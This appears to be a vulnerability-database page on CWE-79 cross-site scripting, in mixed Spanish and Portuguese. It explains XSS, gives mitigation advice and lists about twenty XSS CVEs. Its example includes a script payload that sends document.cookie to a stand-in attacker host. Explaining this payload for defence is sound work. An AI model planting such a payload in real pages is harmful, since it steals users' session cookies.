Fallos del tipo CWE-79

29.501 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-21731MEDIUM[20240703] - Core - XSS in StringHelper::truncate methodEPSS 0.4%CVE-2024-36210MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.4%CVE-2026-42197HIGHRELATE Vulnerable to Stored XSS via Unprivileged User ProfileEPSS 0.4%CVE-2024-43381MEDIUMreNgine vulnerable to Stored Cross-Site Scripting (XSS) via DNS Record PoisoningEPSS 0.4%CVE-2023-24401MEDIUMWordPress Mobile Call Now & Map Buttons Plugin <= 1.5.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-34417MEDIUMWordPress Viet Nam Affiliate plugin <= 1.0.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-13506MEDIUMGeoDirectory – WP Business Directory Plugin and Classified Listings Directory <= 2.8.97 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Display_name ParameterEPSS 0.4%CVE-2023-0868MEDIUMStealing Cookies using Reflected XSS via graph resultsEPSS 0.4%CVE-2025-53599CRITICALWhale browser for iOS before 3.9.1.4206 allow an attacker to execute malicious scripts in the browser via a crafted javascript scheme.EPSS 0.4%CVE-2023-35092MEDIUMWordPress breadcrumb simple Plugin <= 1.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2022-42704MEDIUMA cross-site scripting (XSS) vulnerability in Employee Service Center (esc) and Service Portal (sp) in ServiceNow Quebec, Rome, and San DiegEPSS 0.4%CVE-2023-35048MEDIUMWordPress Booking and Rental Manager Plugin <= 1.2.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-34430MEDIUMWordPress TT Custom Post Type Creator plugin <=1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-33950MEDIUMWordPress Archives Calendar Widget plugin <= 1.0.15 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-11850MEDIUMStored XSS in langgenius/difyEPSS 0.4%CVE-2023-0893MEDIUMTime Sheets < 1.29.3 - Admin+ Stored XSSEPSS 0.4%CVE-2024-6130MEDIUMForm Maker by 10Web < 1.15.26 - Admin+ Stored XSSEPSS 0.4%CVE-2023-6629MEDIUMPOST SMTP Mailer <= 2.8.6 - Reflected Cross-Site Scripting via msgEPSS 0.4%CVE-2023-20201MEDIUMMultiple vulnerabilities in the web-based management interface of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager EPSS 0.4%CVE-2023-27621MEDIUMWordPress Livestream Notice Plugin <= 1.2.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%